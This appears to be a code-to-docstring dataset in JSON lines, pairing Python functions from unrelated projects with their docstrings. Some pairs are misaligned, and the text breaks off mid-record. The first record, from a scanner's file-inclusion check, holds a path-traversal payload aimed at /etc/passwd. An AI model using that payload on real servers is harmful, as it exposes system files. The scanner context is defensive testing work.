verification)\n else:\n res = \"[FI] request id: {}\\n\\t[-] host: {}\\n\\t[-] method: {}\\n\\t[-] payload: {}\\n\\n[*] result: {}\\n\\n\".format(request_info['rid'], request_info['host'], request_info['method'], payload_str, \"not vulnerable\")\n result_fi = \"not vulnerable\"\n poc_fi = \"{}: {}\".format(type, payload_str)\n update_scan_result(request_info['rid'], 'scan_fi', 'result_fi', result_fi, 'poc_fi', poc_fi, 'response_fi', response)\n print highlight(res, 'green')\n return result_fi\n", "nl": " Print Scan ResultArgs:type: Type of POC, it is a string, e.g. \"Cookie\", \"Path\", \"Post\"response: The response content of requestpayload_str: The real payload of FI based on parameters, it is a string, e.g. \"file=../../../../../../../../../../../../../../../etc/passwd%00\"verification: The verification of FI, it can be a string or listrequest_info: The info of request, it is a dict"} {"code": "def nearby(self, expand=50):\n return Region(\n self.x-expand,\n self.y-expand,\n self.w+(2*expand),\n self.h+(2*expand)).clipRegionToScreen()", "nl": " Returns a new Region that includes the nearby neighbourhood of the the current region.The new region is defined by extending the current region's dimensionsall directions by range number of pixels. The center of the new region remains thesame."} {"code": "def get_hyper_formula(self, hyperparams):\n\n hp_specific = self.config.dataset_specific_residual_noise_estimation\n logpts = hyper_normal(\n self.datasets, hyperparams, self._llks,\n hp_specific=hp_specific)\n llk = Deterministic(self._like_name, logpts)\n return llk.sum()\n", "nl": "Get likelihood formula for the hyper model built. Has to be calledwithin a with model context.problem_config : :class:`config.ProblemConfig`"} {"code": "def showPixelVelocity(self, pos=None, color=Color.GREEN, size=None):\n ts = self\n f = ts[-1]\n img = f.image\n vel = f.vel\n if not pos:\n imgsize = img.size()\n pos = (imgsize[0]-120, 50)\n if not size:\n size = 16\n text = \"Vx = %.2f Vy = %.2f\" % (vel[0], vel[1])\n img.drawText(text, pos[0], pos[1], color, size)\n img.drawText(\"in pixels/frame\", pos[0], pos[1]+size, color, size)\n", "nl": "**SUMMARY**show the Pixel Veloctiy (pixel/frame) of the object in text on the current frame.**PARAMETERS*** *pos* - A tuple consisting of x, y values. where to put to the text* *color* - The color to draw the object. Either an BGR tuple or a member of the :py:class:`Color` class.* *size* - Fontsize of the text**RETURNS**Nada. Nothing. Zilch.**EXAMPLE**>>> while True:... img1 = cam.getImage()... ts = img1.track(\"camshift\", ts1, img, bb)... ts.showPixelVelocity() # For continuous bounding box... img = img1"} {"code": "def __set_warning_level(context, flag_name, node):\n del context, flag_name, node\n flag_values = {\n 'TurnOffAllWarnings': {cl_flags: '/w'},\n 'Level1': {cl_flags: '/W1'},\n 'Level2': {cl_flags: '/W2'},\n 'Level3': {cl_flags: '/W3'},\n 'Level4': {cl_flags: '/W4'},", "nl": "Set Warning level for Windows: /W"} {"code": "def load_tfds(self) -> tf.data.Dataset:\n logging.info('Using TFRecords to load data.')\n if self.config.filenames is None:\n if self.config.data_dir is None:\n raise ValueError('Dataset must specify a path for the data files.')\n\n file_pattern = os.path.join(self.config.data_dir,\n '{}*'.format(self.config.split))\n dataset = tf.data.Dataset.list_files(file_pattern, shuffle=False)\n else:\n dataset = tf.data.Dataset.from_tensor_slices(self.config.filenames)\n\n return dataset\n", "nl": "Return a dataset loading files from TFDS.logging.info('Using TFDS to load data.')builder = tfds.builder(self.config.name, data_dir=self.config.data_dir)if self.config.download:builder.download_and_prepare()decoders = {}if self.config.skip_decoding:decoders['image'] = tfds.decode.SkipDecoding()read_config = tfds.ReadConfig(interleave_cycle_length=10,interleave_block_length=1,input_context=self.input_context)dataset = builder.as_dataset(split=self.config.split,as_supervised=True,shuffle_files=True,decoders=decoders,read_config=read_config)return datasetdef load_records(self) -> tf.data.Dataset:Return a dataset loading files with TFRecords."} {"code": "def expandvars(path):\n path = os.fspath(path)\n global _varprog, _varprogb\n if isinstance(path, bytes):\n if b'$' not in path:\n return path\n if not _varprogb:\n import re\n _varprogb = re.compile(br'\\$(\\w+|\\{[^}]*\\})', re.ASCII)\n search = _varprogb.search\n start = b'{'\n end = b'}'\n environ = getattr(os, 'environb', None)\n else:\n if '$' not in path:\n return path\n if not _varprog:\n import re\n _varprog = re.compile(r'\\$(\\w+|\\{[^}]*\\})', re.ASCII)\n search = _varprog.search\n start = '{'\n end = '}'\n environ = os.environ\n i = 0\n while True:\n m = search(path, i)\n if not m:\n break\n i, j = m.span(0)\n name = m.group(1)\n if name.startswith(start) and name.endswith(end):\n name = name[1:-1]\n try:\n if environ is None:\n value = os.fsencode(os.environ[os.fsdecode(name)])\n else:\n value = environ[name]\n except KeyError:\n i = j\n else:\n tail = path[j:]\n path = path[:i] + value\n i = len(path)\n path += tail\n return path\n\n\n", "nl": "Expand shell variables of form $var and ${var}. Unknown variablesare left unchanged."} {"code": "def get_finished(self, instance):\n\n _FINISHED_LIMIT = 1000\n\n @staticmethod", "nl": "Get finished instance state.data = (self.finished.get(instance) orself.finished_history.get(instance))if not data:return Nonestate = {'name': instance,'state': data['state'],'host': data['host'],'when': data['when'],}if data['state'] == 'finished' and data['data']:try:rc, signal = map(int, data['data'].split('.'))if rc > 255:state['signal'] = signalelse:state['exitcode'] = rcexcept ValueError:_LOGGER.warning('Unexpected finished state data for %s: %s',instance, data['data'])if data['state'] == 'aborted' and data['data']:state['aborted_reason'] = data['data']if data['state'] == 'terminated' and data['data']:state['terminated_reason'] = data['data']state['oom'] = data['state'] == 'killed' and data['data'] == 'oom'return stateclass API:Treadmill State REST api."} {"code": "def Int2AP(num):\n\n mo = Flags.match(resp)\n if not mo:\n return ()\n\n return tuple(mo.group('flags').split())\n\n", "nl": "Convert integer to A-P string representation.val = ''; AP = 'ABCDEFGHIJKLMNOP'num = int(abs(num))while num:num, mod = divmod(num, 16)val = AP[mod] + valreturn valdef ParseFlags(resp):Convert IMAP4 flags response to python tuple."} {"code": "def _set_pty_size(self, size=None):\n buf = self._get_pty_size()\n if size:\n buf[0] = size[1]\n buf[1] = size[0]\n\n if self.options.create:\n assert self.master_fd is not None\n fcntl.ioctl(self.master_fd, termios.TIOCSWINSZ, buf)\n if self.term_id:\n self.transport('update_term', {'id': self.term_id, 'size': [buf[1], buf[0]]})\n else:\n if self.options.resize:\n os.write(pty.STDOUT_FILENO, \"\\x1b[8;{rows};{cols}t\".format(rows=buf[0], cols=buf[1]))\n fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCSWINSZ, buf)\n", "nl": "Sets the window size of the child pty based on the window size of our own controlling terminal."} {"code": "def invalidate(self, token):\n Return a token.\n\n :param ttype: Type of token\n :param prev: Previous token, if there is one to go from\n :param sid: Session id\n :return:\n \"\"\"", "nl": "Mark the refresh token as invalidated.if self.get_type(token) != \"R\":returnsid = self.get_key(token)self.token_storage[sid][\"revoked\"] = Truedef valid(self, token):try:typ, key = self.type_and_key(token)except (Error, InvalidToken):raise WrongTokenType()if typ != self.type:raise WrongTokenType()if typ == \"R\":return not self.token_storage[key].get(\"revoked\", False)else:return Trueclass DefaultToken(Token):def __init__(self, secret, password, typ=\"\", **kwargs):Token.__init__(self, typ, **kwargs)self.crypt = Crypt(password)def __call__(self, sid=\"\", ttype=\"\", **kwargs):"} {"code": "def _replicated_step(inputs):\n\n @tf.function", "nl": "Replicated training step.inputs, labels = inputswith tf.GradientTape() as tape:outputs = model(inputs, training=True)all_losses = loss_fn(labels, outputs)losses = {}for k, v in all_losses.items():losses[k] = tf.reduce_mean(v)per_replica_loss = losses['total_loss'] / strategy.num_replicas_in_syncupdate_state_fn(labels, outputs)grads = tape.gradient(per_replica_loss, trainable_variables)clipped_grads, _ = tf.clip_by_global_norm(grads, clip_norm=1.0)optimizer.apply_gradients(zip(clipped_grads, trainable_variables))return lossesreturn _replicated_stepdef _create_test_step(self, strategy, model, metric):Creates a distributed test step."} {"code": "def get_patched_freqtradebot(mocker, config) -> FreqtradeBot:\n patch_freqtradebot(mocker, config)\n config[\"datadir\"] = Path(config[\"datadir\"])\n return FreqtradeBot(config)\n\n\n@pytest.fixture", "nl": "This function patches _init_modules() to not call dependencies:param mocker: a Mocker object to apply patches:param config: Config to pass to the bot:return: FreqtradeBot"} {"code": "def _fix_object_args(self, objects, output_dir):\n if not isinstance(objects, (list, tuple)):\n raise TypeError(\"'objects' must be a list or tuple of strings\")\n objects = list(objects)\n\n if output_dir is None:\n output_dir = self.output_dir\n elif not isinstance(output_dir, str):\n raise TypeError(\"'output_dir' must be a string or None\")\n\n return (objects, output_dir)\n", "nl": "Typecheck and fix up some arguments supplied to various methods.Specifically: ensure that 'objects' is a list; if output_dir isNone, replace with self.output_dir. Return fixed versions of'objects' and 'output_dir'."} {"code": "def get_camvid_labels():\n return np.asarray([\n [64, 128, 64], [192, 0, 128], [0, 128, 192], [0, 128, 64],\n [128, 0, 0], [64, 0, 128], [64, 0, 192], [192, 128, 64],\n [192, 192, 128], [64, 64, 128], [128, 0, 192], [192, 0, 64],\n [128, 128, 64], [192, 0, 192], [128, 64, 64], [64, 192, 128],\n [64, 64, 0], [128, 64, 128], [128, 128, 192], [0, 0, 192],\n [192, 128, 128], [128, 128, 128], [64, 128, 192], [0, 0, 64],\n [0, 64, 64], [192, 64, 128], [128, 128, 0], [192, 128, 192],\n [64, 0, 64], [192, 192, 0], [0, 0, 0], [64, 192, 0]])", "nl": "Load the mapping that associates camvid classes with label colorsReturns:np.ndarray with dimensions (32, 3)"} {"code": "def __bool__(self):\n return True\n", "nl": "classes/types should always be True."} {"code": "def polyfit(x, y, deg, rcond=None, full=False, w=None, cov=False):\n order = int(deg) + 1\n x = NX.asarray(x) + 0.0\n y = NX.asarray(y) + 0.0\n\n if deg < 0:\n raise ValueError(\"expected deg >= 0\")\n if x.ndim != 1:\n raise TypeError(\"expected 1D vector for x\")\n if x.size == 0:\n raise TypeError(\"expected non-empty vector for x\")\n if y.ndim < 1 or y.ndim > 2:\n raise TypeError(\"expected 1D or 2D array for y\")\n if x.shape[0] != y.shape[0]:\n raise TypeError(\"expected x and y to have same length\")\n\n if rcond is None:\n rcond = len(x)*finfo(x.dtype).eps\n\n lhs = vander(x, order)\n rhs = y\n\n if w is not None:\n w = NX.asarray(w) + 0.0\n if w.ndim != 1:\n raise TypeError(\"expected a 1-d array for weights\")\n if w.shape[0] != y.shape[0]:\n raise TypeError(\"expected w and y to have the same length\")\n lhs *= w[:, NX.newaxis]\n if rhs.ndim == 2:\n rhs *= w[:, NX.newaxis]\n else:\n rhs *= w\n\n scale = NX.sqrt((lhs*lhs).sum(axis=0))\n lhs /= scale\n c, resids, rank, s = lstsq(lhs, rhs, rcond)\n c = (c.T/scale).T\n\n if rank != order and not full:\n msg = \"Polyfit may be poorly conditioned\"\n warnings.warn(msg, RankWarning, stacklevel=4)\n\n if full:\n return c, resids, rank, s, rcond\n elif cov:\n Vbase = inv(dot(lhs.T, lhs))\n Vbase /= NX.outer(scale, scale)\n if cov == \"unscaled\":\n fac = 1\n else:\n if len(x) <= order:\n raise ValueError(\"the number of data points must exceed order \"\n \"to scale the covariance matrix\")\n fac = resids / (len(x) - order)\n if y.ndim == 1:\n return c, Vbase * fac\n else:\n return c, Vbase[:,:, NX.newaxis] * fac\n else:\n return c\n\n", "nl": "Least squares polynomial fit.Fit a polynomial ``p(x) = p[0] * x**deg + ... + p[deg]`` of degree `deg`to points `(x, y)`. Returns a vector of coefficients `p` that minimisesthe squared error in the order `deg`, `deg-1`, ... `0`.The `Polynomial.fit ` classmethod is recommended for new code as it is more stable numerically. Seethe documentation of the method for more information.Parameters----------x : array_like, shape (M,)x-coordinates of the M sample points ``(x[i], y[i])``.y : array_like, shape (M,) or (M, K)y-coordinates of the sample points. Several data sets of samplepoints sharing the same x-coordinates can be fitted at once bypassing in a 2D-array that contains one dataset per column.deg : intDegree of the fitting polynomialrcond : float, optionalRelative condition number of the fit. Singular values smaller thanthis relative to the largest singular value will be ignored. Thedefault value is len(x)*eps, where eps is the relative precision ofthe float type, about 2e-16 in most cases.full : bool, optionalSwitch determining nature of return value. When it is False (thedefault) just the coefficients are returned, when True diagnosticinformation from the singular value decomposition is also returned.w : array_like, shape (M,), optionalWeights to apply to the y-coordinates of the sample points. Forgaussian uncertainties, use 1/sigma (not 1/sigma**2).cov : bool or str, optionalIf given and not `False`, return not just the estimate but also itscovariance matrix. By default, the covariance are scaled bychi2/sqrt(N-dof), i.e., the weights are presumed to be unreliableexcept in a relative sense and everything is scaled such that thereduced chi2 is unity. This scaling is omitted if ``cov='unscaled'``,as is relevant for the case that the weights are 1/sigma**2, withsigma known to be a reliable estimate of the uncertainty.Returns-------p : ndarray, shape (deg + 1,) or (deg + 1, K)Polynomial coefficients, highest power first. If `y` was 2-D, thecoefficients for `k`-th data set are in ``p[:,k]``.residuals, rank, singular_values, rcondPresent only if `full` = True. Residuals is sum of squared residualsof the least-squares fit, the effective rank of the scaled Vandermondecoefficient matrix, its singular values, and the specified value of`rcond`. For more details, see `linalg.lstsq`.V : ndarray, shape (M,M) or (M,M,K)Present only if `full` = False and `cov`=True. The covariancematrix of the polynomial coefficient estimates. The diagonal ofthis matrix are the variance estimates for each coefficient. If yis a 2-D array, then the covariance matrix for the `k`-th data setare in ``V[:,:,k]``Warns-----RankWarningThe rank of the coefficient matrix in the least-squares fit isdeficient. The warning is only raised if `full` = False.The warnings can be turned off by>>> import warnings>>> warnings.simplefilter('ignore', np.RankWarning)See Also--------polyval : Compute polynomial values.linalg.lstsq : Computes a least-squares fit.scipy.interpolate.UnivariateSpline : Computes spline fits.Notes-----The solution minimizes the squared error.. math ::E = \\\\sum_{j=0}^k |p(x_j) - y_j|^2in the equations::x[0]**n * p[0] + ... + x[0] * p[n-1] + p[n] = y[0]x[1]**n * p[0] + ... + x[1] * p[n-1] + p[n] = y[1]...x[k]**n * p[0] + ... + x[k] * p[n-1] + p[n] = y[k]The coefficient matrix of the coefficients `p` is a Vandermonde matrix.`polyfit` issues a `RankWarning` when the least-squares fit is badlyconditioned. This implies that the best fit is not well-defined dueto numerical error. The results may be improved by lowering the polynomialdegree or by replacing `x` by `x` - `x`.mean(). The `rcond` parametercan also be set to a value smaller than its default, but the resultingfit may be spurious: including contributions from the small singularvalues can add numerical noise to the result.Note that fitting polynomial coefficients is inherently badly conditionedwhen the degree of the polynomial is large or the interval of sample pointsis badly centered. The quality of the fit should always be checked in thesecases. When polynomial fits are not satisfactory, splines may be a goodalternative.References----------.. [1] Wikipedia, \"Curve fitting\",https://en.wikipedia.org/wiki/Curve_fitting.. [2] Wikipedia, \"Polynomial interpolation\",https://en.wikipedia.org/wiki/Polynomial_interpolationExamples-------->>> import warnings>>> x = np.array([0.0, 1.0, 2.0, 3.0, 4.0, 5.0])>>> y = np.array([0.0, 0.8, 0.9, 0.1, -0.8, -1.0])>>> z = np.polyfit(x, y, 3)>>> zarray([ 0.08703704, -0.81349206, 1.69312169, -0.03968254]) # may varyIt is convenient to use `poly1d` objects for dealing with polynomials:>>> p = np.poly1d(z)>>> p(0.5)0.6143849206349179 # may vary>>> p(3.5)-0.34732142857143039 # may vary>>> p(10)22.579365079365115 # may varyHigh-order polynomials may oscillate wildly:>>> with warnings.catch_warnings():... warnings.simplefilter('ignore', np.RankWarning)... p30 = np.poly1d(np.polyfit(x, y, 30))...>>> p30(4)-0.80000000000000204 # may vary>>> p30(5)-0.99999999999999445 # may vary>>> p30(4.5)-0.10547061179440398 # may varyIllustration:>>> import matplotlib.pyplot as plt>>> xp = np.linspace(-2, 6, 100)>>> _ = plt.plot(x, y, '.', xp, p(xp), '-', xp, p30(xp), '--')>>> plt.ylim(-2,2)(-2, 2)>>> plt.show()"} {"code": "def test_node_compute_without_os_capabilities(self):\n expectedprops = {'flavor': 'm1.large',\n 'user_data_format': 'SOFTWARE_CONFIG'}\n self._tosca_compute_test(\n tpl_snippet,\n expectedprops)\n", "nl": "tpl_snippet = node_templates:server:type: tosca.nodes.Computecapabilities:host:properties:disk_size: 10 GBnum_cpus: 4mem_size: 4 GB#left intentionally"} {"code": "def get_components_list(component_revisions_dict, job_type):", "nl": "Return a prioritized order of components based on job type.components = sorted(component_revisions_dict.keys())if utils.is_chromium():# Components prioritization only applies to non-chromium projects.return componentsproject_name = data_handler.get_project_name(job_type)if not project_name:# No project name found in job environment, return list as-is.return componentsmain_repo = data_handler.get_main_repo(job_type)project_src = '/src/' + project_namefor component in components.copy():if component_revisions_dict[component]['url'] == main_repo:# Matches recorded main repo.components.remove(component)components.insert(0, component)breakif component == project_src:components.remove(component)components.insert(0, component)breakif project_name.lower() in os.path.basename(component).lower():components.remove(component)components.insert(0, component)# Keep trying in case an exact match is found later.return componentsdef _get_revision_vars_url_format(job_type, platform_id=None):Return REVISION_VARS_URL from job environment if available. Otherwise,"} {"code": "def is_weak(self, etag):\n return etag in self._strong\n", "nl": "Check if an etag is weak.return etag in self._weakdef is_strong(self, etag):Check if an etag is strong."} {"code": "def test_noPipelining(self):\n b = StringTransport()\n a = http.HTTPChannel()\n a.requestFactory = DelayedHTTPHandler\n a.makeConnection(b)\n for byte in iterbytes(self.requests):\n a.dataReceived(byte)\n value = b.value()\n\n self.assertEqual(value, b'')\n self.assertEqual(1, len(a.requests))\n\n while a.requests:\n self.assertEqual(1, len(a.requests))\n a.requests[0].delayedProcess()\n\n value = b.value()\n self.assertResponseEquals(value, self.expectedResponses)\n\n\n\nclass ShutdownTests(unittest.TestCase):\n \"\"\"\n class ShutdownHTTPHandler(http.Request):\n \"\"\"", "nl": "Test that pipelined requests get buffered, not processed in parallel."} {"code": "def __listComplement(list1, list2):\n we maintain tables of track-list-creation functions\n there are separate lists of functions for each possible number\n of rings (1..4)\n \"\"\"", "nl": "remove list2 members from list1result = []for item in list1:if not item in list2:result.append(item)return resultdef __initFuncTables():initialize the function tables"} {"code": "def test_hash_artifact_passing_algorithm(self):\n", "nl": "Test _hash_artifact passing hash algorithm. self.assertTrue(\"sha256\" in list(_hash_artifact(\"foo\", [\"sha256\"])))class TestLinkCmdExecTimeoutSetting(unittest.TestCase):Tests LINK_CMD_EXEC_TIMEOUT setting in settings.py file. "} {"code": "def contains(self, other, **kw):\n return self.expr.op(\"@>\", is_comparison=True)(other)\n", "nl": "Boolean expression. Returns true if the right hand operand,which can be an element or a range, is contained within thecolumn."} {"code": "def _iseven(self):\n try:\n return self._exp + len(self._int) - 1\n except TypeError:\n return 0\n", "nl": "Returns True if self is even. Assumes self is an integer.if not self or self._exp > 0:return Truereturn self._int[-1+self._exp] in '02468'def adjusted(self):Return the adjusted exponent of self"} {"code": "def preset_mode(self) -> HmPresetMode:\n return [HmPresetMode.NONE]\n\n @property", "nl": "Return the current preset mode.return HmPresetMode.NONE@propertydef preset_modes(self) -> list[HmPresetMode]:Return available preset modes."} {"code": "def test_timedelta_with_fractional_seconds(self):\n td = \"5 3:30:15.99\"\n converted = self.cache.field_timedelta_to_json(td)\n self.assertEqual(converted, '444615.99')\n out = self.cache.field_timedelta_from_json(converted)\n self.assertEqual(out, timedelta(5, 12615, 990000))\n", "nl": "Timedelta with fractions of a second can be stored and retrieved.td = timedelta(days=10, hours=1, minutes=9, seconds=5, milliseconds=10,microseconds=10)converted = self.cache.field_timedelta_to_json(td)self.assertEqual(converted, '868145.01001')out = self.cache.field_timedelta_from_json(converted)self.assertEqual(out, td)def test_timedelta_duration_string(self):A duration string can be stored and retrieved as a timedelta."} {"code": "def _xvert(cls, result_item, generate_links=True):\n if isinstance(result_item, Model):\n model = Model.to_dict(result_item, skip_omitted_fields=True)\n if '_type' not in model:\n model.update(_type=cls.__name__)\n if hasattr(cls, 'enable_hateoas') and cls.enable_hateoas and generate_links:\n model.update(_links=_calculate_links(cls, result_item.id))\n return model\n elif is_dictionary(result_item) or is_dictionary_subclass(result_item):\n return result_item\n elif isinstance(result_item, (list, set, tuple)):\n result = {\n '_type': result_item.__class__.__name__,\n '_items': [_xvert(cls, item, generate_links=False) for item in result_item]\n }\n if hasattr(cls, 'enable_hateoas') and cls.enable_hateoas:\n result.update(_links={'self': {'href': url_for('{}_find_by_query_get'.format(xtract(cls).lower()))}})\n return result\n elif is_primitive(result_item) or isinstance(result_item, (str, int)) or is_noncomplex(result_item):\n return {'_type': 'OperationResult', 'result': result_item}\n\n", "nl": "converts the response object into Json:param generate_links: if True, it will add the HATEOAS links to the response:param result_item: the actual item which will get converted:return:"} {"code": "def test_default(self):\n\n It is not specified to inherit ``object``, so indexing on a instance will\n raise an ``AttributeError`` rather than ``TypeError`` in Python 2.\n\n >>> r = IterOnlyRange(5)\n >>> r[0]\n AttributeError: IterOnlyRange instance has no attribute '__getitem__'\n\n Note: In Python 3, ``TypeError`` will be raised because ``object`` is", "nl": "It should return the provided default arg for empty iterables.self.assertEqual(mi.first([], 'boo'), 'boo')class IterOnlyRange:User-defined iterable class which only support __iter__."} {"code": "def err_ct(self):\n return len(self.err_isa) + len(self.err_gs) + len(self.err_st) + len(self.err_seg) + len(self.err_ele)\n\n\nclass X12ContextReader(object):\n \"\"\"\n", "nl": "@return: Count of errors for this segment@rtype: int"} {"code": "def removeRow(self):\n row = self.getCurrentRow()\n self.jobRow.removeRow(row)\n return self.layers.pop(row)\n", "nl": "Remove the current selected Row.@rtype: Layer.LayerData@return: the layer date that was removed"} {"code": "def get_remote_url(cls, location):\n stdout = cls.run_command(\n ['config', '--get-regexp', r'remote\\..*\\.url'],\n extra_ok_returncodes=(1, ), show_stdout=False, cwd=location,\n )\n remotes = stdout.splitlines()\n try:\n found_remote = remotes[0]\n except IndexError:\n raise RemoteNotFoundError\n\n for remote in remotes:\n if remote.startswith('remote.origin.url '):\n found_remote = remote\n break\n url = found_remote.split(' ')[1]\n return url.strip()\n\n @classmethod", "nl": "Return URL of the first remote encountered.Raises RemoteNotFoundError if the repository does not have a remoteurl configured."} {"code": "def min_memory_generator(executable_nodes, viewed_by, view_of):\n global mem_count, mem_bound, max_mem_count\n\n for node in executable_nodes:\n new_exec_nodes = executable_nodes.copy()\n new_exec_nodes.remove(node)\n\n if max_mem_count > mem_bound:\n continue\n\n viewof_change = []\n", "nl": "Generate all valid node order from node_list and compute itsmemory peak.Parameters----------executable_nodesSet of executable nodes."} {"code": "def top(self):\n print(self.__doc__)\n", "nl": "Return the last pushed value from data if self.is_empty():raise error(\"Stack is empty\")else:return self.data[-1]def print_hint(self):Print the documentation for class stack"} {"code": "def pre_sql_setup(self):\n self.select_related = False\n self.clear_ordering(True)\n super(UpdateQuery, self).pre_sql_setup()\n count = self.count_active_tables()\n if not self.related_updates and count == 1:\n return\n\n query = self.clone(klass=Query)\n query.bump_prefix()\n query.extra_select = {}\n first_table = query.tables[0]\n if query.alias_refcount[first_table] == 1:\n query.unref_alias(first_table)\n for i in xrange(1, len(query.tables)):\n table = query.tables[i]\n if query.alias_refcount[table]:\n break\n join_info = query.alias_map[table]\n query.select = [(join_info[RHS_ALIAS], join_info[RHS_JOIN_COL])]\n must_pre_select = False\n else:\n query.select = []\n query.add_fields([query.model._meta.pk.name])\n must_pre_select = not self.connection.features.update_can_self_select\n\n self.where = self.where_class()\n if self.related_updates or must_pre_select:\n idents = []\n for rows in query.execute_sql(MULTI):\n idents.extend([r[0] for r in rows])\n self.add_filter(('pk__in', idents))\n self.related_ids = idents\n else:\n self.add_filter(('pk__in', query))\n for alias in self.tables[1:]:\n self.alias_refcount[alias] = 0\n", "nl": "If the update depends on results from other tables, we need to do somemunging of the \"where\" conditions to match the format required for(portable) SQL updates. That is done here.Further, if we are going to be running multiple updates, we pull outthe id values to update at this point so that they don't change as aresult of the progressive updates."} {"code": "def _get_etree_root(self, xml):\n\n tree = etree.parse(xml)\n root = self._add_namespaces(tree.getroot())\n return root\n", "nl": "Returns an etree object for the given CISCP input. Etree has namespacesadded to it that are necessary to the processing of the CISCP document.Keyword arguments:xml -- filename or file-like object containing xml"} {"code": "def unset_labels(self, workspace_id: str, category_id: int, uris: Sequence[str], apply_to_duplicate_texts=True):\n self.data_access.unset_labels(\n workspace_id, category_id, uris, apply_to_duplicate_texts=apply_to_duplicate_texts)\n", "nl": "Unset labels of a set of element URIs for a given category.:param workspace_id::param category_id::param uris::param apply_to_duplicate_texts: if True, also unset the same labels for additional URIs that are duplicates ofthe URIs provided."} {"code": "def __main__(self, kos):\n\nSTATE = '''\\\n\nSIMPLE_METADATA = [\n (\"Interpreter\", \"python\"),\n (\"Interpreter-Version\", \"1.3\"),\n (\"Owner-Name\", \"Barry Warsaw\"),\n (\"Owner-Rendezvous\", \"bwarsaw@cnri.reston.va.us\"),\n (\"Home-KSS\", \"kss.cnri.reston.va.us\"),\n (\"Identifier\", \"hdl://cnri.kss/my_first_knowbot\"),\n (\"Launch-Date\", \"Mon Feb 12 16:39:03 EST 1996\"),\n ]\n\nCOMPLEX_METADATA = [\n (\"Metadata-Type\", \"complex\"),\n (\"Metadata-Key\", \"connection\"),\n (\"Access\", \"read-only\"),\n (\"Connection-Description\", \"Barry's Big Bass Business\"),\n (\"Connection-Id\", \"B4\"),\n (\"Connection-Direction\", \"client\"),\n ]\n\nEXTERNAL_METADATA = [\n (\"Metadata-Type\", \"complex\"),\n (\"Metadata-Key\", \"generic-interface\"),\n (\"Access\", \"read-only\"),\n (\"Connection-Description\", \"Generic Interface for All Knowbots\"),\n (\"Connection-Id\", \"generic-kp\"),\n (\"Connection-Direction\", \"client\"),\n ]\n\n\nOUTPUT = '''\\", "nl": "Entry point upon arrival at a new KOS.broker = kos.broker()# B4 == Barry's Big Bass Business :-)seller = broker.lookup('Seller_1.Seller', 'B4')if seller:price = seller.price()print 'Seller wants $', price, '... 'if price > self._maxprice:print 'too much!'else:print \"I'll take it!\"else:print 'no seller found here' # Don't ask why this comment is here"} {"code": "def append(self, parent, content):\n if self.start(content):\n self.appender.append(parent, content)\n self.end(parent, content)\n", "nl": "Append the specified L{content} to the I{parent}.@param parent: The parent node to append to.@type parent: L{Element}@param content: The content to append.@type content: L{Object}"} {"code": "def set_status_to_running(self):\n\n :type executor: s3transfer.futures.BoundedExecutor\n :param executor: The executor to submit the callable to\n\n :type task: s3transfer.tasks.Task\n :param task: The task to submit to the executor\n\n :type tag: s3transfer.futures.TaskTag\n :param tag: A tag to associate to the submitted task\n\n :rtype: concurrent.futures.Future\n :returns: A future representing the submitted task\n \"\"\"", "nl": "Sets the TransferFuture's status to runningself._transition_to_non_done_state('running')def _transition_to_non_done_state(self, desired_state):with self._lock:if self.done():raise RuntimeError('Unable to transition from done state %s to non-done ''state %s.' % (self.status, desired_state))self._status = desired_statedef submit(self, executor, task, tag=None):Submits a task to a provided executor"} {"code": "def doCleanups(self):\n result = self._resultForDoCleanups\n ok = True\n while self._cleanups:\n function, args, kwargs = self._cleanups.pop(-1)\n try:\n function(*args, **kwargs)\n except KeyboardInterrupt:\n raise\n except:\n ok = False\n result.addError(self, sys.exc_info())\n return ok\n", "nl": "Execute all cleanup functions. Normally called for you aftertearDown."} {"code": "def extract_activation(layer):\n config = layer.get_config()\n\n return config['activation']\n\n", "nl": "Extract activation from layer definition objectParameters----------layer : Layer objectActivation layerReturns-------stringString value with Keras activation function"} {"code": "def allow_frame_if_namespaced(view_func):", "nl": "Drop X-Frame-Options header, but only if a cart namespace is set. See get_or_create_cart_id()for the reasoning."} {"code": "def setUpClass(cls):\n cls.app = app\n db.create_all()\n cls.fixtures = Fixtures()\n cls.fixtures.make_fixtures()\n cls.fixtures.test_client = app.test_client()\n\n @classmethod", "nl": "Initialize a test DB and call to make fixtures."} {"code": "def get_for(cls, user, phone):\n return cls.query.filter_by(phone=phone, user=user).one_or_none()\n\n @classmethod", "nl": "Return a UserPhoneClaim with matching phone number for the given user.:param str phone: Phone number to lookup (must be an exact match):param User user: User who claimed this phone number"} {"code": "def publish_pool_closed(self, address):\n listeners.\n \"\"\"", "nl": "Publish a :class:`PoolClosedEvent` to all pool listeners.event = PoolClosedEvent(address)for subscriber in self.__cmap_listeners:try:subscriber.pool_closed(event)except Exception:_handle_exception()def publish_connection_created(self, address, connection_id):Publish a :class:`ConnectionCreatedEvent` to all connection"} {"code": "def fetch(self, fetch_all=False):\n if \"success\" not in self.return_value:\n self._fetch_files(fetch_all)\n\n self.return_value[\"fetched\"] = self.results_count\n\n return self.return_value\n", "nl": "Download and save original photos and videos for all Photo objects(or just those that don't already have them).self.account must be an Account object first.fetch_all -- Boolean. Fetch ALL photos/videos, even if we've alreadygot them?"} {"code": "def test_sort_filter_by_bogus():\n with py.test.raises(FilterError):\n filter(\"sort=monkey\", tiddlers)\n\n", "nl": "Attempt to sort by a field that does not exist. Get an error."} {"code": "def poll_status(cb, url, desired_status=\"complete\", timeout=None, delay=None):\n start_time = time.time()\n status = None\n\n if not timeout:\n timeout = 120\n if not delay:\n delay = 0.5\n\n while status != desired_status and time.time() - start_time < timeout:\n res = cb.get_object(url)\n if res[\"status\"] == desired_status:\n log.debug(json.dumps(res))\n return res\n elif res[\"status\"] == \"error\":\n raise LiveResponseError(res)\n else:\n time.sleep(delay)\n\n raise TimeoutError(uri=url, message=\"timeout polling for Live Response\")\n\n\nif __name__ == \"__main__\":\n from cbapi.response import CbEnterpriseResponseAPI\n import logging\n root = logging.getLogger()\n root.addHandler(logging.StreamHandler())\n\n logging.getLogger(\"cbapi\").setLevel(logging.DEBUG)\n\n c = CbEnterpriseResponseAPI()\n j = GetFileJob(r\"c:\\test.txt\")\n with c.select(Sensor, 3).lr_session() as lr_session:\n file_contents = lr_session.get_file(r\"c:\\test.txt\")\n\n future = c.live_response.submit_job(j.run, 3)\n wait([future, ])\n print(future.result())", "nl": "Poll the status of a Live Response query.Args:cb (BaseAPI): The CBAPI object reference.url (str): The URL to poll.desired_status (str): The status we're looking for.timeout (int): The timeout value in seconds.delay (float): The delay between attempts in seconds.Returns:object: The result of the Live Response query that has the desired status.Raises:LiveResponseError: If an error response was encountered."} {"code": "def predict(self, in_data):\n\n Args:\n result: the dict of 